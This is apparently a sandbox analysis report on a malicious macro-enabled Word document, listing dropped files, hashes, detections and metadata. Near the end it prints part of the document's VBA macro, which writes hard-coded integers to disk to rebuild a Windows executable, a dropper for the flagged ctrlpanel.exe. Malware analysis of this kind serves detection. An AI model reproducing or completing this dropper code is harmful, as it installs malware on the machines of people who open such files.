C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F0F82AB8-008E-4313-86A4-2E3CE422C08B}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F1551F23-FEDB-4520-8095-CBF69696E44D}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F3F9D5E6-837F-4899-9389-7CEEA4876B09}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F6476A58-E9D7-464C-9584-125EF748C21C}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F766AE6D-FC4F-449B-B814-C17AADEC0C26}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Temp\3pGxYMbJaA.doc

Download File

Process:	C:\Users\Public\ctrlpanel.exe
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	110617
Entropy (8bit):	7.95448609734695
Encrypted:	false
SSDEEP:	3072:XMJfNLMPkUr6arV6Bf66RP0KklCiKVa0+:XMJfNQPd+arV6g00tlCPVa0+
MD5:	B7DE6DBF4C188437A20957A7D1F9CFFA
SHA1:	DA1D0EF0C5496FD7BF15AE40A3EA3468BF3454CC
SHA-256:	42604F026A93B4988C70F88D8B1DFEA48FE8531863D394788D2EF652A36B4F1F
SHA-512:	01A934BE58D20C40C46041837612645E09848DEE4D0A6A5A5401A0D1F5D4D9785CF41502D70DA47CD2BD38E839358DC22294FD8C0733032F87299D7039154D97
Malicious:	false
Preview:	PK..-.......!.~8.z............[Content_Types].xml......................OO.@...&~.f..].`..p.<......V.......;...A."..:.~..v;..,.....IE/.....6.T<O.......Aa..b.A.......a.XmB.D.V..XBH.C........t.^a......BC1U.1.0.eA.x..$3mDtW.UV.......,W&K...<.....&.."!..<....9r..MX.....B...q...4.G>g.3.&...J.k.3.Y.,Y...4SW.d/)Ay;60+...M...k...0k...@....._N.~.....Va.\|.."....H.s.h...8{:[.... 9.N.K..1...........9v.c...k..^/..c...:..z..o...'..6.0;.-w.v.&....PK..-.......!................._rels/.rels....N..................J.1.......m..i...z.Y.`Hf.p.C2j..FP.Zz.1...7a....'.<..aY..`G.kxk.......4.....a..._y")My.cV..A$>"f3..\..d...Iy..#.w..Wu}......VC..;P.>.%..u..`>.{91.y'.-.EL.?.X.Q-..E...3R.UA..6Z]n....X.......O.9..5.h^q............o...PK..-.......!................word/_rels/document.xml.rels......................AN.0.E.H...8)P!......p..$....C!..*..j...r....H.j.eZ...5.'Q..X...u._..;.<I[..-..........ZI.ot.Yh.>..Qw/.W...#........FW.N.wY.X..R.q...:.L....}.......P}..t.!<..

C:\Users\user\AppData\Local\Temp\3pGxYMbJaA.doc:Zone.Identifier

Download File

Process:	C:\Users\Public\ctrlpanel.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\~$GxYMbJaA.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyYyBS0JilXMWvk1c6nlln:vdsCkWtIJiRk3l
MD5:	C4615A023DC40AFFAEAE6CF07410BB43
SHA1:	AAE1D68C4082CABF6AEA71C7981F32928CE01843
SHA-256:	103F860A912CF17B87A169B2768635758E8A0B82EB986A0C42FEA974F91BCB1E
SHA-512:	CD6975EAE1DA934094AC2516D095D50F2EE311CF549C8AEA2F3D65074B0DFC2908F72703B46A4C012358817289C76B15AC0E39EE359BCF39A45A8C912DCB2AAD
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Local\Temp\~DFA1C4053935793537.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	498176
Entropy (8bit):	5.217018813633672
Encrypted:	false
SSDEEP:	6144:TjmMU8yCOJqeeyE1jl/gMzxBLnFKQv5gu:TjB8FTlg5bzZ
MD5:	A8E6B86AD67127E4DB9220F208A37052
SHA1:	732900CF49FD9EBA029FA1CD302BA0DA9C9878F4
SHA-256:	31999D3EBE5EB5641ADA6174007EE13B8B2A1DECC0B8F1683F0181129B9F0B1E
SHA-512:	1197776A116757F4A9AF088C733527B9C98EC08CBEF9C4DAE130E64B0A6794B96215F4CA4A21F6314E4BBD56919E7D76FC3760230367E2502F910DBCD9E78EA4
Malicious:	false
Preview:	......................>.......................................................C...............r.......o.......................................................................................................................................................................................................................................................................................................................................................................................................................................D........................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...........E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\3pGxYMbJaA.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:11 2023, mtime=Fri Aug 11 15:42:11 2023, atime=Fri Apr 26 11:30:16 2024, length=110617, window=hide
Category:	dropped
Size (bytes):	1014
Entropy (8bit):	4.556040883516894
Encrypted:	false
SSDEEP:	12:8yFgXg/XAlCPCHaXTBCB/qPX+W1nccNX3+CicvbN2+K+iDtZ3YilMMEpxRljKzqF:8e/XTjY4D1+eydDv3qm1k7N
MD5:	9D82F6FBD5C409501B50FD600E581A35
SHA1:	685B9045823DD0F998B7F1D065A39019354679F0
SHA-256:	8A161D53DC6B8153DC6EAF73945D78DB3BA314A7DBCAE6E4B19859D4D1815770
SHA-512:	F2AB68CB054661B5E4AA08F914BFC34DD817CA7A4A6351793259C81DA47B617396CC4BDC07E98DA047FC4BB9D8AE343287D148E72DD8D7A713B49D0AC6BE8DCB
Malicious:	false
Preview:	L..................F.... ...]...r...]...r.....r~................................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......X.c..user.8......QK.X.X.c...&=....U...............A.l.b.u.s.....z.1......WG...Desktop.d......QK.X.WG...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....f.2......X.c .3PGXYM~1.DOC..J.......WF..WF..........................3.p.G.x.Y.M.b.J.a.A...d.o.c.......x...............-...8...[............?J......C:\Users\..#...................\\980108\Users.user\Desktop\3pGxYMbJaA.doc.%.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.3.p.G.x.Y.M.b.J.a.A...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......980108..........D_....3N...W...9.W.e8...8.....[D_....3N...W...9.W.e8

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	54
Entropy (8bit):	4.717850465126434
Encrypted:	false
SSDEEP:	3:M1WI+o8CUm4wo8CUv:Mc50r
MD5:	10E7E51453BA5C94E2B0A297051CF460
SHA1:	679314D59E13D7E87151E28A41CB7DCB2CBB5A8D
SHA-256:	C85FEEEED38774EB0BAD50B26FB7A3916652914755F7484AF388F478069F48AC
SHA-512:	7018855A0ECCA54050D07B5044E4BD50CA973CF05D82959B7AF01EE30B232FC4126519430AC939C9737A15227BE3DB8A2668F07934B4D0FCEC94FE4C4A0182B1
Malicious:	false
Preview:	[doc]..3pGxYMbJaA.LNK=0..[folders]..3pGxYMbJaA.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyYyBS0JilXMWvk1c6nlln:vdsCkWtIJiRk3l
MD5:	C4615A023DC40AFFAEAE6CF07410BB43
SHA1:	AAE1D68C4082CABF6AEA71C7981F32928CE01843
SHA-256:	103F860A912CF17B87A169B2768635758E8A0B82EB986A0C42FEA974F91BCB1E
SHA-512:	CD6975EAE1DA934094AC2516D095D50F2EE311CF549C8AEA2F3D65074B0DFC2908F72703B46A4C012358817289C76B15AC0E39EE359BCF39A45A8C912DCB2AAD
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\Desktop\~$GxYMbJaA.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyYyBS0JilXMWvk1c6nlln:vdsCkWtIJiRk3l
MD5:	C4615A023DC40AFFAEAE6CF07410BB43
SHA1:	AAE1D68C4082CABF6AEA71C7981F32928CE01843
SHA-256:	103F860A912CF17B87A169B2768635758E8A0B82EB986A0C42FEA974F91BCB1E
SHA-512:	CD6975EAE1DA934094AC2516D095D50F2EE311CF549C8AEA2F3D65074B0DFC2908F72703B46A4C012358817289C76B15AC0E39EE359BCF39A45A8C912DCB2AAD
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\Public\ctrlpanel.exe

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	35328
Entropy (8bit):	5.550458839870562
Encrypted:	false
SSDEEP:	768:lByDu+9jvTABQDGz90g9wlQlf5tNKkD+CSvYcapUdzY:ApsBiGZ0g9rf5tNhS2Od
MD5:	40D2CCD570BD898CC31AF1CBFE5FB08E
SHA1:	41D81D3275F8FE7BE023B9731519CDF359743818
SHA-256:	10E720FBCF797A2F40FBAA214B3402DF14B7637404E5E91D7651BD13D28A69D8
SHA-512:	0753EEC8F21C4681559B82327C93098D2D74732DF05D2304A8428DC7AF0FF13D49079EACD0DC29D9B32BA5E5095CAC6B9FA62A82F77E3CA3BB5986B64FE9195D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Dynamer, Description: Yara detected Dynamer, Source: C:\Users\Public\ctrlpanel.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 65% Antivirus: Virustotal, Detection: 70%, Browse
Joe Sandbox View:	Filename: 0001.doc, Detection: malicious, Browse Filename: 438 0001.doc, Detection: malicious, Browse Filename: 438 0001.doc, Detection: malicious, Browse Filename: B5578027.doc, Detection: malicious, Browse Filename: 56#U044f.doc, Detection: malicious, Browse Filename: B5578027.doc, Detection: malicious, Browse Filename: 56#U044f.doc, Detection: malicious, Browse Filename: #U0415#U041a#U0421#U041f#U0415#U0420#U0422#U0418#U0417#U0410_#U0423#U0417#U0420#U0413#U041c.docx.doc, Detection: malicious, Browse Filename: #U0415#U041a#U0421#U041f#U0415#U0420#U0422#U0418#U0417#U0410_#U0423#U0417#U0420#U0413#U041c.docx.doc, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......U.................4...R......~R... ...`....@.. ....................................@.................................,R..O........L...........................`............................................... ............... ..H............text....2... ...4.................. ..`.sdata..8....`.......8..............@....rsrc....L.......N...:..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

unknown (copy)

Download File

Process:	C:\Users\Public\ctrlpanel.exe
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	110617
Entropy (8bit):	7.95448609734695
Encrypted:	false
SSDEEP:	3072:XMJfNLMPkUr6arV6Bf66RP0KklCiKVa0+:XMJfNQPd+arV6g00tlCPVa0+
MD5:	B7DE6DBF4C188437A20957A7D1F9CFFA
SHA1:	DA1D0EF0C5496FD7BF15AE40A3EA3468BF3454CC
SHA-256:	42604F026A93B4988C70F88D8B1DFEA48FE8531863D394788D2EF652A36B4F1F
SHA-512:	01A934BE58D20C40C46041837612645E09848DEE4D0A6A5A5401A0D1F5D4D9785CF41502D70DA47CD2BD38E839358DC22294FD8C0733032F87299D7039154D97
Malicious:	false
Preview:	PK..-.......!.~8.z............[Content_Types].xml......................OO.@...&~.f..].`..p.<......V.......;...A."..:.~..v;..,.....IE/.....6.T<O.......Aa..b.A.......a.XmB.D.V..XBH.C........t.^a......BC1U.1.0.eA.x..$3mDtW.UV.......,W&K...<.....&.."!..<....9r..MX.....B...q...4.G>g.3.&...J.k.3.Y.,Y...4SW.d/)Ay;60+...M...k...0k...@....._N.~.....Va.\|.."....H.s.h...8{:[.... 9.N.K..1...........9v.c...k..^/..c...:..z..o...'..6.0;.-w.v.&....PK..-.......!................._rels/.rels....N..................J.1.......m..i...z.Y.`Hf.p.C2j..FP.Zz.1...7a....'.<..aY..`G.kxk.......4.....a..._y")My.cV..A$>"f3..\..d...Iy..#.w..Wu}......VC..;P.>.%..u..`>.{91.y'.-.EL.?.X.Q-..E...3R.UA..6Z]n....X.......O.9..5.h^q............o...PK..-.......!................word/_rels/document.xml.rels......................AN.0.E.H...8)P!......p..$....C!..*..j...r....H.j.eZ...5.'Q..X...u._..;.<I[..-..........ZI.ot.Yh.>..Qw/.W...#........FW.N.wY.X..R.q...:.L....}.......P}..t.!<..

Static File Info

General

File type:	Microsoft Word 2007+
Entropy (8bit):	7.93817137108455
TrID:	Word Microsoft Office Open XML Format document with Macro (52004/1) 33.99% Word Microsoft Office Open XML Format document (49504/1) 32.35% Word Microsoft Office Open XML Format document (43504/1) 28.43% ZIP compressed archive (8000/1) 5.23%
File name:	3pGxYMbJaA.doc
File size:	123'082 bytes
MD5:	5085081555c33c077b762af1bcc60d63
SHA1:	a3241daaeea08a752275dec2e7ce5c0eefb7984e
SHA256:	36526ab0af0fdae50ab631a47b7c79389210408b47abd87f244b93aacaced06a
SHA512:	092354c939a3bc172833694a0123770274f4731a7d4ca1f67b23bc0dcab55d91a15b6842dfc595e42349449f344295b2228251cce71007f9b4949862d829fab6
SSDEEP:	1536:foKW+P3/4eW0Ri7iLzMUDSy5G+my8zrbNca43HR089Ood29ohw4Z1ZvC10RLuzTB:fRP3/LiM1QrlnGJhVdZ/v9qPu8
TLSH:	FAC312388C18450BEFD8A0BF42C625E3BD409136918696ECA85693359E3DE52E7DFF0D
File Content Preview:	PK..........!.~8.z............[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	2764a3aaaeb7bdbf

Static OLE Info

General

Document Type:	OpenXML
Number of OLE Files:	1

OLE File "3pGxYMbJaA.doc"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Title:
Subject:
Author:	ELVIRA
Keywords:
Template:	Normal
Last Saved By:	E 6420
Revion Number:	3
Total Edit Time:	0
Create Time:	2023-06-02T11:20:00Z
Last Saved Time:	2023-06-02T11:20:00Z
Number of Pages:	2
Number of Words:	502
Number of Characters:	2865
Creating Application:	Microsoft Office Word
Security:	0

Document Summary

Number of Lines:	23
Number of Paragraphs:	6
Thumbnail Scaling Desired:	false
Company:
Contains Dirty Links:	false
Shared Document:	false
Changed Hyperlinks:	false
Application Version:	14.0000

Streams with VBA

VBA File Name: ThisDocument.cls, Stream Size: 251558

General
Stream Path:	VBA/ThisDocument
VBA File Name:	ThisDocument.cls
Stream Size:	251558
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . U . . . . . . . . . . . . ; . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S " . . . . S . . . . . S " . . . . . < . . . . . . . . . . ( . 1 . N . o . r . m . a . l . . . T . h . i
Data Raw:	01 16 01 00 00 f0 00 00 00 16 06 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff 1d 06 00 00 55 16 03 00 00 00 00 00 01 00 00 00 0c ac 81 3b 00 00 ff ff a3 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function FE(V As String) As Boolean
On Error Resume Next: FE = (FileLen(V) > -1)
End Function
Private Property Let Y(Value As Long)
Put #1, , Value
End Property
Private Sub CheckHash()
Y = 9460301
Y = 3
Y = 4
Y = 65535
Y = 184
Y = 0
Y = 64
For I = 1 To 8
Y = 0
Next
Y = 128
Y = 247078670
Y = -855002112
Y = 1275181089
Y = 1750344141
Y = 1881174889
Y = 1919381362
Y = 1663069537
Y = 1869508193
Y = 1700929652
Y = 1853190688
Y = 544106784
Y = 542330692
Y = 1701080941
Y = 168627502
Y = 36
Y = 0
Y = 17744
Y = 262476
Y = 1441267592
For I = 1 To 2
Y = 0
Next
Y = 16908512
Y = 721163
Y = 13312
Y = 20992
Y = 0
Y = 21118
Y = 8192
Y = 24576
Y = 4194304
Y = 8192
Y = 512
Y = 4
Y = 0
Y = 4
Y = 0
Y = 65536
Y = 1024
Y = 0
Y = -2059403262
Y = 1048576
Y = 4096
Y = 1048576
Y = 4096
Y = 0
Y = 16
For I = 1 To 2
Y = 0
Next
Y = 21036
Y = 79
Y = 32768
Y = 19632
For I = 1 To 4
Y = 0
Next
Y = 57344
Y = 12
Y = 24576
Y = 28
For I = 1 To 10
Y = 0
Next
Y = 8192
Y = 8
For I = 1 To 2
Y = 0
Next
Y = 8200
Y = 72
For I = 1 To 2
Y = 0
Next
Y = 2019914798
Y = 116
Y = 12932
Y = 8192
Y = 13312
Y = 1024
For I = 1 To 3
Y = 0
Next
Y = 1610612768
Y = 1633973038
Y = 24948
Y = 312
Y = 24576
Y = 512
Y = 14336
For I = 1 To 3
Y = 0
Next
Y = -1073741760
Y = 1920168494
Y = 99
Y = 19632
Y = 32768
Y = 19968
Y = 14848
For I = 1 To 3
Y = 0
Next
Y = 1073741888
Y = 1818587694
Y = 25455
Y = 12
Y = 57344
Y = 512
Y = 34816
For I = 1 To 3
Y = 0
Next
Y = 1107296320
For I = 1 To 122
Y = 0
Next
Y = 21088
Y = 0
Y = 72
Y = 327682
Y = 12568
Y = 8468
Y = 1
Y = 100663305
For I = 1 To 12
Y = 0
Next
Y = 1143662
Y = 142607872
Y = 1929641984
Y = 100663308
Y = 2432
Y = 176165892
Y = 704905216
Y = 274459
Y = 167
Y = 285212673
Y = 370
Y = 75888
Y = 176163328
Y = -570163200
Y = 36185358
Y = 168427520
Y = 808
Y = 2113986058
Y = 67108874
Y = 1914114605
Y = 1879048193
Y = 1139
Y = 688138
Y = 187368448
Y = 2686
Y = 356100
Y = 1915357696
Y = 1879048227
Y = 42610
Y = 294512
Y = 103285760
Y = -569769984
Y = 36185358
Y = 185204736
Y = 808
Y = 335601162
Y = 657150
Y = 124978688
Y = 336199680
Y = 256032
Y = 141759744
Y = -2146828288
Y = 67108870
Y = 185007636
Y = 1929773056
Y = 167772167
Y = 196616212
